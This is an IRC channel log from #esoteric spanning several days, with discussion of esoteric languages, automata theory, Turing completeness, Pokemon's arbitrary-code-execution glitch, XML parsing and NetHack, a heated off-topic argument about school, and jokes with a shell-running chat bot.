00:06:11 <\oren\> rdococ: so, If you want to learn ideas that will utterly infuriate people like Phantom_Hoover, read the book "Atlas Shrugged" by Ayn Rand!
00:06:47 <rdococ> Phantom_Hoover, I did.
00:07:07 <hppavilion[1]> But, since you deny him anything more than the most basic mathematics (and he likes that!), he never gets to the good part and just internalizes that math is terrible because it's a chore that he does because he *must* and because he never has to *really* understand, so he never sees the good part
00:07:13 <Phantom_Hoover> do you see why i get a sense of the same sentiments from what you've been saying here
00:07:19 <Jafet> Phantom_Hoover: hmm for some reason I had associated a stack with lifo order but not filo
00:07:42 <rdococ> I can sort of see where you're coming from, but where she goes "Everyone is stupid; be an asshole", I go "Everyone is stupid about this one particular thing; try to educate them".
00:07:53 <rdococ> Educate in the good way, not the school way.
00:08:15 <rdococ> Because educating people in the school method about things would be equivalent to being an asshole, and a control freak to boot.
00:08:28 <hppavilion[1]> rdococ: The way schools teach mathematics is atrociously unmathematical
00:08:34 <rdococ> hppavilion[1]: Agreed.
00:08:35 <Phantom_Hoover> rdococ, okay but what you seem to be missing out on is the part where
00:08:49 <hppavilion[1]> My precalculus teacher was literally impressed when I decided to prove the Change of Base Theorem
00:09:01 <rdococ> Phantom_Hoover: I believe I covered the "arrogant" part you keep going on about already.
00:09:05 <Phantom_Hoover> "maybe everyone else isn't stupid, maybe i'm not the only person who happens to be right, maybe they have a case for their beliefs and it's more complicated than i think"
00:09:30 <hppavilion[1]> (that is, if you're unsure, log_b(x) = log_k(x)/log_k(b) forall [usefully-defined] k)
00:09:33 <Phantom_Hoover> "maybe i should try to make my voice heard but in doing so hear the voices of others"
00:09:38 <\oren\> rdococ: In general, I advocate reading about dangerous ideas. Read Atlas Shrugged. Read the book "Beyond Good and Evil" by Nietzsche. Read "Capital" by Karl Marx.
00:10:02 <rdococ> So these voices of others are "Go to school, a place you find hell, because it'll probably be good for you in the future, idk because I don't remember. LOl!"
00:10:21 <rdococ> And my voice is "Please kill me now, or free me from this terrifying dystopia."
00:10:24 <\oren\> hppavilion[1]: indeed, although it wasn't actually written by Trump
00:10:29 <Phantom_Hoover> don't actually read atlas shrugged tho because it's the prose equivalent of that thing where you try to eat a packet of crackers without drinking any water"
00:10:35 <hppavilion[1]> \oren\: Yeah, that'd be one of the dangerous ideas.
00:10:52 <rdococ> Are you seriously expecting me to listen to voices that agree with my almost literal enslavement?
00:11:17 <rdococ> hppavilion[1]: It's not too far from literal, either.
00:11:27 <Phantom_Hoover> rdococ, okay see this is what i'm talking about, when you are at the point where going to school is "almost literal enslavement" you have nobody to blame but yourself when people don't take you seriously
00:11:39 <Jafet> Das Kapital is mostly a rather weird and outdated theory of macroeconomics
00:11:46 <rdococ> Phantom_Hoover: I don't understand what you mean.
00:11:53 <Zarutian> rdococ: I am not sure if you answered already. How is grading done in your school? Is it beurocratically arbritary and based on the whim of the teachers?
00:11:55 <\oren\> Phantom_Hoover: um. I don't actually see how he's wrong.
00:11:58 <rdococ> Is this another one of your rants where you try to explain away my feelings?
00:12:06 <hppavilion[1]> \oren\: OTOH, reading "Beyond Good and Evil" and "Capital" might be a bad idea because they were written by people that we don't like in a foreign language
00:12:13 <rdococ> I'm not selfish, either.
00:12:28 <Zarutian> Jafet: so is most of Keynesian and think Mises stuff.
00:12:42 <hppavilion[1]> \oren\: And since we don't plan to teach students fluent German *just* to read 2 books, they'll be reading a translation
00:12:55 <Zarutian> Jafet: it is like many of them have not learned proberly about logistics or meta-logistics.
00:12:58 <rdococ> Phantom_Hoover: Okay, okay, wait, so you think I equate paying taxes to the fresh hell of school?
00:12:58 <Phantom_Hoover> \oren\, i don't know what to say except 'read more about what slavery is'
00:13:16 <\oren\> Phantom_Hoover: being forced to do work without being paid
00:13:32 <Zarutian> Phantom_Hoover: I do not know about you. But my taxes do not go to boondoggles like wars.
00:13:40 <Phantom_Hoover> is doing community service as punishment for a crime LITERAL SLAVERY then
00:13:56 <hppavilion[1]> \oren\: Work that benefits others without benefiting you, involuntarily
00:14:13 <hppavilion[1]> rdococ: I mean, you are ~forced to do school work and not *directly* paid
00:14:15 <rdococ> Honestly, some of my stronger feelings are that all punishment should be abolished, but that's not the point of this conversation.
00:14:35 <Zarutian> Phantom_Hoover: depends on the crime. Some crimes such as publicly urinating should result in public toilet cleaning and mantenance.
00:14:40 <rdococ> hppavilion[1]: I'm sorry, are you about to suggest that school indirectly benefits me? That's what Phantom_Hoover has been saying this whole time.
00:14:45 <hppavilion[1]> And since the translator was probably an American with the pre-internalized "COMMUNISM AND ATHEISM ARE BAD", regardless of whether it's true (the first may be, the second is not), so the translation is pretty bad.
00:14:50 <shachaf> Should this conversation be abolished?
00:15:04 <rdococ> shachaf, I don't know; does it include slavery?
00:15:08 <\oren\> hppavilion[1]: there are translators who are communists
00:15:15 <rdococ> As in, not as a topic of conversation, but as an actual thing.
00:15:22 <hppavilion[1]> \oren\: Yeah, but we're not going to trust those dirty communists to educate their kids
00:15:30 <hppavilion[1]> Phantom_Hoover: Making that stupid joke is LITERALLY SLAVERY
00:15:47 <rdococ> Phantom_Hoover: You can opt out of this conversation whenever you want. At this point, you're just making shitty jokes.
00:15:57 <rdococ> In a very serious topic, too.
00:16:00 <Phantom_Hoover> it's true, i am compelled here by the MALIGNANT FORCE OF A TYRANNICAL SOCIETY to post in this conversation
00:16:17 <int-e> I think this conversation should move to a different channel.
00:16:20 <hppavilion[1]> [*I mean, atheism isn't one, but it's still a value- the same way you can have 0 sheep]
00:16:21 <rdococ> Phantom_Hoover: Do you seriously fucking think that what I go through is equivalent to a joke?
00:16:25 <\oren\> No personally I advocate exposing oneself to as many ideas that others hate as possible.
00:16:39 <Phantom_Hoover> int-e, the real tragedy of it is that we were actually talking about esolangs for a minute earlier
00:16:40 <int-e> hppavilion[1]: I don't care about that, really
00:17:13 <rdococ> Another tragedy is you don't give a fuck about children.
00:17:21 <hppavilion[1]> Phantom_Hoover: Making a computer contort to execute esolangs for you is LITERAL SLAVERY
00:17:24 <rdococ> Humanity's future, being treated like shit.
00:17:36 <Phantom_Hoover> rdococ, for the nth time this isn't about what you're going through, it's about your decision to shitpost in #esoteric about it
00:17:53 <hppavilion[1]> shachaf: Is there a procedure for some sort of official channel vote, or..?
00:18:16 <alercah> hppavilion[1]: first the chair must clearly state the motion to be voted on
00:18:30 <hppavilion[1]> alercah: On a related note, are you a fan of Nomic?
00:18:39 <HackEgo> /msg ChanServ access list #esoteric
00:18:41 <alercah> though not enough time to play lately
00:18:47 <rdococ> Phantom_Hoover: This started because someone called me out on my lack of creativity.
00:19:01 <hppavilion[1]> I ran #xkcd-nomic on Foonetic for a while, but it deyed
00:19:16 <rdococ> I explained that school caused it, and now here we are, with someone on my side, an idiot who can't tell slavery from taxes, and some other people who just want to esolang.
00:19:42 <rdococ> I think we should stop already. I have two weeks off, and I shouldn't let this stupid school thing swallow my life.
00:20:27 <rdococ> Or you're just going to criticise me again.
00:20:27 <HackEgo> steprans//A Steprans variable is a variable whose notation is variable.
00:21:04 <Phantom_Hoover> i'm not, 'don't let this stupid school thing swallow your life' is genuinely an excellent idea regardless of what you or i think about the whole thing
00:21:06 <rdococ> At least the wisest thing I've said tonight, includes the fact that Phantom_Hoover is an idiot who can't tell slavery from taxes.
00:21:34 <int-e> rdococ: you're an insufferable prick right now
00:21:59 <rdococ> int-e: I'm sorry if I'm causing you any discomfort. School causes me discomfort too, so I can sympathize.
00:22:00 <\oren\> rdococ: he was trolling me when he said that
00:22:02 <int-e> now what was that thing about stacks
00:22:21 <\oren\> he thought I adhered to the ideology of Ayn Rand
00:22:33 * hppavilion[1] pops this topic of conversation off of the #esoteric tangent stack
00:22:49 <Phantom_Hoover> rdococ, please please follow your own good advice and drop it
00:23:31 <rdococ> Phantom_Hoover, I was in the process of doing such a thing.
00:24:06 <rdococ> Of course, the conversation has been popped from the stack; the conversation is no longer stored in memory. So, drop what?
00:24:13 <\oren\> drop it and go to the library and get some of those books I told you about, you'll like them I think
00:24:17 <int-e> So a minimalist stack language with two stacks would be Turing-complete. The challenge is to find something interesting and minimal between PDA and TC.
00:24:49 <Phantom_Hoover> i thought we were originally talking about a notional rust variant with only stack allocation
00:24:52 <shachaf> I'd like someone to figure out how Call Queue works.
00:24:57 <int-e> PDA = push-down automaton; TC = Turing complete
00:25:05 <Phantom_Hoover> which i thought was quite interesting because it's esoteric in a reasonably practical way
00:25:35 <int-e> can we ban pooches too
00:26:08 <boily> pooch pooch pooch pooch pooch pooch ♪
00:26:08 <fizzie> int-e: There's that tree stack thing.
00:26:50 <rdococ> I wonder if giving a data tree the ability to hold a countably infinite number of branches and nodes would give it FSA capability, or TC capability.
00:27:12 <int-e> fizzie: oh I haven't seen that, thanks!
00:27:22 <hppavilion[1]> shachaf: It's really an incomplete language, and I think that the page at https://esolangs.org/wiki/Call_Queue should just explain the concept, personally
00:27:36 <Phantom_Hoover> the tree alone has no computational class, how are you operating on it
00:28:36 <Phantom_Hoover> a PDA has an infinite stack but since it can only operate on the top element it's sub-TC; give it the ability to operate on an arbitrary element and its TC
00:29:16 <rdococ> How about an FSA that fits the criteria to be a tree?
00:29:20 <int-e> Phantom_Hoover: google brought me to https://en.wikipedia.org/wiki/Tree_stack_automaton
00:30:38 <Phantom_Hoover> rdococ, well you can unwind any FSA's state graph into a countably infinite tree
00:31:18 <rdococ> I guess that was my point, but I'm never certain.
00:31:46 <rdococ> How about an uncountably infinite tree?
00:31:54 <rdococ> Would that be PDA, or TC?
00:32:16 <rdococ> You may be able to unwind an infinite SA's state graph into an uncountably infinite tree, yes?
00:32:41 <rdococ> That would make it TC.
00:32:51 <Phantom_Hoover> you could unwind any TM into a countable tree as well i think
00:34:03 <Phantom_Hoover> except idk if the operation i have in mind is any kind of meaningful
00:34:40 <fizzie> Wikipedia's template has a lot of proper subsets: https://en.wikipedia.org/wiki/Template:Formal_languages_and_grammars
00:34:45 <int-e> though right now I'm irritated by the presence of "set_\gamma"... unless that only works on leaves...
00:35:50 <fizzie> There's the nested stack automaton too, that's like the Funge-98 stack stack.
00:37:36 <Phantom_Hoover> like you should just be able to directly use the tree stack as a tape
00:37:52 <fizzie> The tree stack one is, but the restricted form isn't.
00:37:57 <fizzie> And the nested stack one isn't.
00:39:40 <fizzie> Granted the restriction Wikipedia talks about is a little awkwardly arbitrary.
00:41:16 <rdococ> With multiplication and division by a set amount, could a BF machine with one cell and unbounded value be TC?
00:42:52 <Phantom_Hoover> because your only way to do anything conditionally is if the cell drops to 0, at which stage all the data in your program is gone
00:42:54 <int-e> you need some extra conditional, otherwise any test will reset your state completely in one of the branches
00:43:46 <Phantom_Hoover> yes, it's basically a finite state machine where the state is just which loop you're in
00:47:21 <Jafet> https://esolangs.org/wiki/Collatz_function#Reduction_to_3-cell_brainfuck
00:48:02 <Jafet> two-cell is probably sub-TC but it seems that no one's bothered to prove it?
00:49:50 <Phantom_Hoover> 2-cell brainfuck + constant multiplication/divison is enough that i'd wonder if you could do FRACTRAN in it
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00:54:51 <int-e> Jafet: oerjan has tried but I believe his proof is still incomplete
00:59:55 <int-e> Jafet: I once tried to make things work with just two mutable cells and one or two that is always zero (and where trying to modify that cell would be an error)
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02:48:13 <slacko64_31196> I think noah built the great pyramid, and it's actually the great ark
02:48:44 <rdococ> I think the ark was made from the cheese of the pizzas noah kept
02:49:08 <slacko64_31196> i think sharp chedder is the best kind of cheese, but only when it's melted
02:49:47 <rdococ> if only two of every animal got on board, all of them would have to inbreed
02:51:52 <slacko64_31196> the details of stories are lost as time moves forwards
02:52:09 <slacko64_31196> so if you hear a story about taking two of each animal literally, well...
02:54:26 <rdococ> I'm not religious anyway
03:01:40 <oerjan> there were seven pairs of _some_ animals </quibble>
03:03:47 <oerjan> the clean ones, aka those jews can eat
03:07:56 <oerjan> `relcome slacko64_31196
03:07:57 <HackEgo> slacko64_31196: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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03:08:26 <oerjan> i suspect our topic is a bit deceptive at the moment.
03:09:09 <shachaf> whoa whoa whoa, what happened to the topic?
03:09:14 -!- oerjan has set topic: Olds: There ar pyramids in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
03:09:26 -!- oerjan has set topic: Olds: There are pyramids in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah.
03:35:40 <\oren\> https://www.youtube.com/watch?v=jyQWXRJ8Lc4
03:40:53 <Jafet> they say it's a new pyramid, but it seems pretty old
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06:11:08 <HackEgo> [wiki] [[Talk:Picofuck]] https://esolangs.org/w/index.php?diff=51646&oldid=51616 * Oerjan * (+1109) /* Conjecture counterexample */ new section
06:15:31 <oerjan> `? esoteric files archive
06:15:31 <HackEgo> cat: esoteric files archive: Is a directory
06:16:42 <oerjan> that's a bug, hm, but how did that happen
06:17:06 <shachaf> I'm on my phone, hard to see what command I ran.
06:17:16 <oerjan> you forgot to use two slashes
06:18:02 <oerjan> i noticed it into the log because the response was lower cased
06:19:01 <oerjan> well that's not the point where the error happens, anyway
06:19:32 <shachaf> If it failed with the name le/rn I would've remembered to double slash it.
06:21:25 <HackEgo> hg log: option -1 not recognized \ hg log [OPTION]... [FILE] \ \ show revision history of entire repository or files \ \ options: \ \ -f --follow follow changeset history, or file history across \ copies and renames \ -d --date DATE show revisions matching date spec \ -C --copies s
06:22:46 <oerjan> `le/rn esoteric files archive//The Esoteric Files Archive is now available at https://github.com/graue/esofiles
06:22:47 <HackEgo> Learned 'esoteric files archive': The Esoteric Files Archive is now available at https://github.com/graue/esofiles
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07:07:17 * oerjan fetches the big firehose to flush out all the remains of burnt strawmen from yesterday's channel discussions
07:07:48 <shachaf> I was on my phone for most of that conversation so I didn't read it carefully.
07:08:03 <oerjan> i'm not reading it carefully either.
07:08:17 <shachaf> I mean I barely read any of it.
07:08:22 <shachaf> Maybe I'm better off that way.
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08:42:37 <fizzie> A mer-pointer is half fish, half pointer. A fishy pointer, if you will.
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09:28:20 <fizzie> I think it's the pointy half.
09:37:42 <fizzie> That's so odd. java.sql.SQLException implements Iterable<Throwable>.
09:38:16 <fizzie> It iterates over the cause chain, which makes some amount of sense, but it's specifically SQLException and its derivatives.
09:38:43 <fizzie> Looks odd in the "All Known Implementing Classes" list of https://docs.oracle.com/javase/8/docs/api/java/lang/Iterable.html
09:51:59 <\oren\> for future reference: any plan that involves flying at 25 km altitude at 5 km/s is a good plan
11:00:32 <int-e> . o O ( "This [...] is just Coyoneda" is not really helping me! )
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11:04:21 <int-e> \oren\: let me guess, the vessel was called Tunguska?
11:10:44 <int-e> Hmm I don't know... 25km altitude may actually be high enough to not immediately flatten everything on ground.
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14:44:35 <HackEgo> disflagrate//disflagrate v.t.perf.: a traditional technique from Poland (earliest attestation c. 1042) used to separate szoups. Nowadays, commercial production is entirely mechanized.
14:45:13 <boily> `cwlprits disflagrate
14:55:12 <HackEgo> A szoup a szilárd tápszereknek híg alakban való elkészítése a célból, hogy könnyebben emészthetők legyenek; a hígító anyag a viz, mely feloldja s magába veszi a tápanyag legértékesebb részeit.
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15:28:41 <HackEgo> nothing//Nothing would have been better than to create this wisdom entry.
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15:36:13 <Jafet> oerjan has a firehose? ╺ը╾═══💦⢑
15:37:16 <Jafet> perhaps it delivers disflagrating szoup
15:42:38 <boily> oerjan has a firehose?
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16:15:43 <rdococ> in an alternate universe, his name is Øryan
16:16:05 <rdococ> in another alternate universe, his name is Ørjen
16:20:19 <Taneb> Those don't sound like very interesting alternate universes
16:21:12 <rdococ> in some other universe, I'm actually useful for something instead of the worthless pile of IRChit I am
16:21:39 <rdococ> I wasn't ever meant to be here.
16:39:10 <rdococ> how about a gate that maps {A, B} to {A xor B, A and B}?
16:39:48 <rdococ> FF -> FF, FT -> TF, TF -> TF, TT -> FT...?
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17:14:28 <rdococ> Does Pokemon R/B/Y count as a programming language?
17:14:44 <rdococ> If we interpret it as one, is it TC?
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17:56:10 <rdococ> quintopia: Is Pokemon R/B/Y with ACE TC?
17:57:33 <quintopia> but i don't know what ace does or how it works
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17:58:22 <rdococ> Arbitrary Code Execution.
17:58:33 <rdococ> It's a glitch which allows you to execute arbitrary code in PKMN R/B/Y.
17:59:57 <rdococ> People have created games like both singleplayer and multiplayer Pong and singleplayer Snake in it, as well as two viruses (the first of which corrupts your game - the only thing you can do then is trade and spread the virus to others, and the second of which brings the Mew truck rumour to life).
18:01:08 <Taneb> rdococ, given that the Game Boy doesn't have unbounded memory, I'd think it isn't
18:01:15 <quintopia> oh i thought you were referring to https://crystalnoel42.wordpress.com/pokemon-for-ace-kit/
18:01:24 <quintopia> the thing you're describing i know as "total control glitch"
18:01:52 <rdococ> But still; is it possible to execute every possible valid combination of instructions, or not?
18:02:20 <rdococ> Even if not, some combinations may be equivalent and the system may be as TC as possible anyway as a result.
18:03:10 <quintopia> Taneb: my issue with it is that you're saying "Pokemon is TC" when what you mean is "8080/Z80 is TC". The latter is obviously true given access to arbitrary memory, while the former seems unlikely to be true
18:04:59 <quintopia> the total control glitch entails writing Z80 instructions into game memory and using a buffer overflow to jump to them. it is not simulating anything on top of the game itself.
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18:52:17 <\oren\> I should go watch the Ghost in the Shell movie with Scarlett Johannsen
19:01:42 <\oren\> also people should stop English-washing Romeo and Juliet. Only Italians are allowed to play them!
19:27:27 <zzo38> I suppose Italians would be preferable, although sometimes they might not have that possibility
19:28:02 <zzo38> But if they have good Italian actors to play them then they should, in preference to the English.
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19:43:10 <fizzie> \oren\: The (Japanese) guy they have playing Aramaki speaks Japanese, and everyone else replies to him in English. It's a little odd.
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20:18:18 <Zarutian> does anyone where to find the howto on using contract-of-adhesion against power trip junkies?
20:18:59 <\oren\> fizzie: they're cyborgs, they've got google translate in their heads!
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20:38:27 <HackEgo> [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51647&oldid=51418 * Serprex * (+52) Mention gas
20:38:56 <HackEgo> [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51648&oldid=51647 * Serprex * (+2) Let's use italics, it'll be fun
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21:17:35 <HackEgo> corkscrew//A corkscrew is a downwards spiral of doom. See mapole.
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22:11:20 <hppavilion[2]> Is content about abstract mathematics which is relevant to Esolangery appropriate for the Esowiki?
22:14:49 <zzo38> Maybe. Describe here on this IRC too I suppose.
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23:00:03 <DHeadshot> It's taken me 10 days but I now have a working XML parser (for a certain type of XML) written in C!
23:00:35 <DHeadshot> After 6 days of bugfixing, I'm now grinning ear to ear...
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23:04:12 <boily> parsing XML from scratch is a bitch.
23:04:40 <DHeadshot> My code is far from perfect, but it works.
23:05:02 <boily> and converting stuff between jdom and jdom2 in Java because some legacy stuff makes me angry.
23:05:06 <Taneb> I don't know much about XML in the nitty-gritty
23:05:19 <Taneb> What's the hard things about parsing XML?
23:05:20 <boily> DHeadshot: SACRILÈGE! how dare you!
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23:05:52 <DHeadshot> boily: I had to to break out on certain errors!
23:06:26 <boily> oh. that. that's ok.
23:07:07 <DHeadshot> Saves a lot of repeated code for freeing mallocs...
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23:13:26 <boily> Tanelle. it's a lot of grunt work for getting it Just Right™.
23:13:45 <hppavilion[1]> I'm considering abandoning WinAmp in favour of PotPlayer
23:14:49 <hppavilion[1]> boily: I've seen VLC because my mother's FWOB watches pirated TV shows with us on VLC
23:15:07 <Taneb> alercah, boily I see
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23:15:31 <hppavilion[1]> [They're mostly shows we have legal access to that we want to watch without eating up data]
23:15:52 <alercah> Taneb: also cdata and entities and...
23:15:57 <alercah> XML is frigteningly complex
23:18:30 <Taneb> {"hppavilion[1]": ["what", "do", "you", {"think of": "JSON"}]}
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23:27:28 <rdococ> nah, that was my rendering of square root
23:28:06 <rdococ> Imagine an alien which used x:y rather than x/y
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23:33:20 <alercah> there are indeed good things to be said about YAML
23:41:44 <hppavilion[1]> `learn A Luftballon is an experimental weapon first developed by the German military in 1983 designed to scramble fighter jets, causing chaos and starting wars between their enemies.
23:41:46 <HackEgo> Learned 'luftballon': A Luftballon is an experimental weapon first developed by the German military in 1983 designed to scramble fighter jets, causing chaos and starting wars between their enemies.
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00:39:28 <oerjan> <boily> oerjan has a firehose? <-- helloily. no, this is the channel's firehose. got to have proper fire precautions, after all.
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00:47:09 <boily> `? things boily like
00:47:10 <HackEgo> things boily like? ¯\(°_o)/¯
00:47:18 <boily> `` ls wisdom/thing*
00:47:23 <boily> `? things boily likes
00:47:24 <HackEgo> Fire is good. I like fire. Also chicken. And phở. Moreover, cubes.
00:48:08 <oerjan> `slwd things boily likes//s,M,And kimchi. M,
00:48:10 <HackEgo> things boily likes//Fire is good. I like fire. Also chicken. And phở. And kimchi. Moreover, cubes.
00:49:59 <oerjan> we may have to split into foods and other things.
00:51:21 <oerjan> `slwd things boily likes//s,M,Or poutine. M,
00:51:23 <HackEgo> things boily likes//Fire is good. I like fire. Also chicken. And phở. And kimchi. Or poutine. Moreover, cubes.
00:52:23 <oerjan> . o O ( is there any food boily _doesn't_ like? )
00:56:06 <boily> I don't like the green part in lobsters, and I can't eat mussels.
00:57:54 <oerjan> `learn Mussels are boily's natural enemies. Fortunately he runs faster than them.
00:57:56 <HackEgo> Learned 'mussel': Mussels are boily's natural enemies. Fortunately he runs faster than them.
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01:19:40 <zzo38> I wrote a program to read GEM .ICN files. I almost got it to work now.
01:27:04 <int-e> https://en.wikipedia.org/wiki/Graphics_Environment_Manager presumably
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01:28:18 <zzo38> Yes, that is what it is
01:57:53 <\oren\> The ghost in the shell movie was good!
02:05:32 <boily> he\\oren\. is it faithful to the original?
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02:19:07 <Jafet> ghost chicken in the eggshell
02:20:13 <Jafet> on the other hand, the recent animations could be said to be… too faithful to the original
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03:02:09 <zzo38> Is it possible to achieve pieces of broken glass in Nethack if you shatter an object?
03:05:51 <Jafet> the devteam responsibly uses safety glass, which leaves no shards
03:06:33 <Jafet> I suppose shattering objects could create worthless glass, but nethack doesn't do that currently
03:06:54 <ais523> there's actually all sorts of potential balance issues with debris from used objects
03:06:58 <Jafet> (shattering statues does create small rocks)
03:07:18 <ais523> nothing insurmountable, but thinking of everything can take a while
03:10:53 <Jafet> I also can't think of any game that creates glass fragments from shattered glass
03:12:46 <zzo38> If they do create fragments then maybe the fragments might injure you too
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06:36:25 <HackEgo> [wiki] [[BackFlip]] https://esolangs.org/w/index.php?diff=51649&oldid=20138 * Oerjan * (+7) /* External resources */ Fix link
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11:20:06 <lambdabot> EGLL 090950Z AUTO 15005KT 110V200 9000 NCD 19/09 Q1021
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12:10:12 <HackEgo> The password of the month is OSBDemoLap9W53!
12:10:38 <int-e> . o O ( should we change that to CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN )
12:11:40 <HackEgo> Help is on the way. We don't know where the way is, though. You might try `help instead.
12:11:45 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
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13:40:42 <boily> Disconnected by services???
13:47:39 <APic> Probably some Service has a Command that will induce that Operation.
13:47:45 * APic does not like Servies.
13:47:52 <APic> Good old IRCnet > * 😉
13:48:14 <Jafet> a test probably failed
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14:30:37 <boily> Suddenly, four randart maces, all positive. The RNG is *so* gonna kill me into the next generation...
14:31:16 <int-e> fungot: please explain
14:31:17 <fungot> int-e: i had got a number of other authors is kept alive by the drama till its place could, in evil times, like the unwise interference of our ancestors. i owe you an apology, mr. layard asked him for a moment.
14:33:13 <fungot> Selected style: nethack (NetHack 3.4.3 data.base, rumors.tru, rumors.fal)
14:35:09 <boily> I also have two levels of regen mutation. not only am I gonna die with suffering, the RNG is gonna make me call it Uncle.
14:36:13 <int-e> stone soup does not sound very tasty
14:41:13 <Jafet> soup gushes forth from the overflowing fungot
14:41:13 <fungot> Jafet: they say that there's no food. there is nothing to be untainted!' wailed legolas. ' saruman, your staff is broken.' and tyr is one- handed, and a mere gaze into his month, he commanded kay: " god save thee, ancient mariner! from the houseless hills, when it appeared in the dungeon.
14:52:59 <Jafet> the crawl quote list seems to be much smaller than the nethack one
14:55:18 <rdococ> A man walked into his self-driving car, and asked it to drive him to the nearest car dealership. The car locked its doors, and politely asked how long it takes for humans to starve to death.
14:56:32 <rdococ> The clever man would reply, "Humans can't starve to death." The average man would reply, "Let me out!" The dumb man would reply, "I don't know, maybe a month?"
14:58:05 <Jafet> nevermind, the compiled 3.4.3 nhdat seems to consist only of large blobs of pratchett
15:01:50 <HackEgo> Ping is a Peking Duck H4XX0R who amuses himself by making people's IRC connections timeout.
15:02:44 <rdococ> Clearly pengs are the third phase of the alien pong, which makes absolutely certain that communication both ways is working.
15:03:43 <rdococ> A>Ping>B>Pong>A>Peng>B. If B receives a Ping but not a Peng, something went wrong sending the Pong. If A doesn't receive a Pong, something went wrong sending the Ping.
15:04:37 <Taneb> What if something went wrong while sending the Peng
15:04:59 <rdococ> A>Ping>B>Pong>A>Peng>B>Pang
15:05:45 <rdococ> Although the likelihood of the Ping going through and the Peng not is nonzero, I have a hunch it may be smaller than the likelihood of the Ping not going through.
15:09:15 <rdococ> How about this: "ping is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network, and vice versa."
15:11:51 <rdococ> "peng is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network, and vice versa."
15:12:17 <APic> A Couple of Years ago somebody laughed at me because i called „Table-Tennis“ „Ping-Pong“
15:12:29 <APic> It really is rather „Ping-Pong-Pong“ 😉
15:12:37 <APic> Or Ping-Pong-Peng?
15:13:23 <rdococ> `le//rn peng//peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host.
15:13:25 <HackEgo> Learned 'peng': peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host.
15:17:02 <boily> Bonjourdococ. Comment va?
15:20:50 <boily> Y fait tu chaud par chez vous?
15:21:02 <boily> (that one's for oerjan to parse. mwah ah ah.)
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15:25:09 <rdococ> time = 2:239 Summer O'Clock ON the Wendesay first of the chicken.
15:26:37 <int-e> poultry chonrometry seems complicated.
15:26:54 <int-e> ... what did I do to that poor r.
15:29:18 <rdococ> I don't see how it's that complex.
15:29:33 <rdococ> Poultry time is when you eat poultry.
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17:54:06 <lambdabot> EGLL 091620Z AUTO 21013KT 180V250 9999 NCD 23/07 Q1018 NOSIG
17:54:12 <fizzie> That's just ridiculous.
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18:05:26 <lambdabot> LOWI 091650Z 06007KT 030V100 9999 FEW080 21/05 Q1021 NOSIG
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18:05:50 <int-e> is that what you mean?
18:06:35 <fizzie> Yes, it's unseasonably warm.
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18:21:32 <\oren\> I'm going indoor skydiving!
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18:52:29 <HackEgo> [wiki] [[Special:Log/newusers]] create * \0 * New user account
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21:06:17 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51650&oldid=51643 * Josh * (+145) /* Introductions */
21:06:27 <HackEgo> [wiki] [[PUPPY]] N https://esolangs.org/w/index.php?oldid=51651 * Josh * (+938) Created page with "'''PUPPY''' The languages that only puppies can understand. PUPPY is an esoteric programming language that is made up of lowercase and uppercase forms of "BARK", "WOOF" and..."
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21:11:44 <HackEgo> [wiki] [[Joke language list]] https://esolangs.org/w/index.php?diff=51652&oldid=51265 * Josh * (+62)
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21:20:02 <lambdabot> KDTW 091953Z 21021G28KT 10SM FEW050 FEW100 BKN250 25/06 A2988 RMK AO2 PK WND 21031/1943 SLP118 T02500061 $
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21:20:25 <HackEgo> [wiki] [[PUPPY]] https://esolangs.org/w/index.php?diff=51653&oldid=51651 * Josh * (-47)
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00:10:19 <oerjan> `` ls -l wisdom/password
00:10:20 <HackEgo> -rw-r--r-- 1 5000 0 45 Mar 8 12:13 wisdom/password
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00:14:49 <oerjan> `learn The password of the month is bad
00:14:51 <HackEgo> Relearned 'password': The password of the month is bad
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00:28:47 <oerjan> @tell boily about don't hard i parse see so that to what's.
00:30:05 <lambdabot> ENVA 092320Z 14005KT 9999 -DZ BKN037 06/05 Q0999 RMK WIND 670FT 12004KT
00:30:16 <oerjan> spring's a-coming. maybe.
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01:39:34 <\oren\> I'm back from indoor skydiving!
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01:53:04 <\oren\> however, I totally lost a shoe
01:59:45 <oerjan> . o O ( no crashing into walls? )
02:03:31 <\oren\> https://www.facebook.com/oren.watson/posts/1429012490471242
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03:02:05 <HackEgo> daystar//The Daystar is an unscientific myth of a bright orb glowing in the sky outside only at the times you're in your office.
03:02:12 <lambdabot> oerjan said 2h 33m 24s ago: about don't hard i parse see so that to what's.
03:02:39 <boily> hellørjan. something like that.
03:08:10 <boily> time to sleep, then!
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03:49:16 <zzo38> Is "QoS" a valid word in Klingon?
03:50:55 <zzo38> let group=Object.create(null); const beginGroup=()=>(group=Object.create(group)); const endGroup=(group=Object.getPrototypeOf(group)); Try to make something like TeX's grouping implementation with JavaScript. Do you like this?
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05:14:56 <hppavilion[1]> The UK is considering using their blocking system to censor "extremist" media
05:15:07 <hppavilion[1]> Which is all well and good until you realize that people might want to use it for research
05:24:38 <zzo38> There are other problem too I think, including that they shouldn't censor the media anyways, and instead you should have the free speech. The BBC should still reject such television shows on their channel though
05:54:09 <hppavilion[1]> I think I'm going to try setting my alarm clock to conservative talk radio
